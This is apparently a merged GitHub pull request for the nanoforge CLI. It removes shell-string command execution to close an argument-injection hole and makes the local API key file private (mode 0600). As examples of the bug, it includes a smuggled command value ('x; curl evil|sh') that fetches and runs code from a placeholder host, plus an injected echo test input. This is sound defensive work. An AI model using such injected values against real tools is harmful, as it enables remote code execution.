Repository navigation
fix(cli): run commands without a shell and keep the local api key private - #268
Merged
Merged
Conversation
…vate The runner joined arguments into one string run by a shell, so a value such as --git-remote 'x; cmd' ran cmd. Arguments now go to spawn as an array. On Windows, where npm, pnpm and yarn are .cmd shims, the shell stays and each argument is quoted, refusing what cmd.exe can't quote. nf login --local now writes .nanoforgerc with mode 0600.
Also refuse ! in windows arguments and report a missing binary once.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What does this PR do?
No linked issue: found during a security pass over the CLI.
Fixes two security holes:
Runnerjoined the binary and its arguments into one string and ran it withshell: true, so any argument was shell code. For example,nf new --git-remote 'x; curl evil|sh'rancurl evil|sh, and the same went for schematic options and project paths.nf login --localwrote the API key to.nanoforgercwith the default mode (0644), and generated projects didn't ignore that file in git."<path>"for the schematics binary and collection,--opt="value", and the\(/\[escaping in names.nf login --localcreates.nanoforgercwith mode 0600 before rc9 writes the key into it..nanoforgercin.gitignore.commands/registry.mdx,commands/install.mdx) describe the file mode and the Windows argument limits.How do you test this PR?
new Runner("echo").run(["remote", "https://x.git; echo INJECTED"], { collect: true })returned"remote https://x.gitINJECTED\n": the second command ran.After: it returns
"remote https://x.git; echo INJECTED", the argument as plain text.runner.spec.ts: shell syntax is passed as plain text, an argument with spaces stays whole, a missing binary rejects, andquoteForCmdquotes and refuses what it should;global-config-handler.spec.ts: the local file is 0600, whether new or already there.schematic.option.spec.tsandnanoforge.collection.spec.tsasserted the shell quoting this PR removes.pnpm test:unit: 260/260 pass;pnpm test:e2e: 96 pass, 1 skipped, 1 todo;pnpm lint: pass;pnpm build: pass;repo:build,repo:lint,repo:test:unitandrepo:test:e2e, all green.Merge danger
Door: two-way (a revert is enough).
Blast radius: small.
@nanoforge-dev/cliand@nanoforge-dev/schematics(templates only) have no code consumers in other repos. Nothing deploys on merge; the change ships with the next release.Quality gate
docs/docs/commands/registry.mdx,install.mdx/bin/shprocess per command!on Windows), fixed in b351e53Follow-up issues
None filed yet. Candidates:
.nanoforgerclocation inregistry.mdxis wrong (rc9 uses~/.config);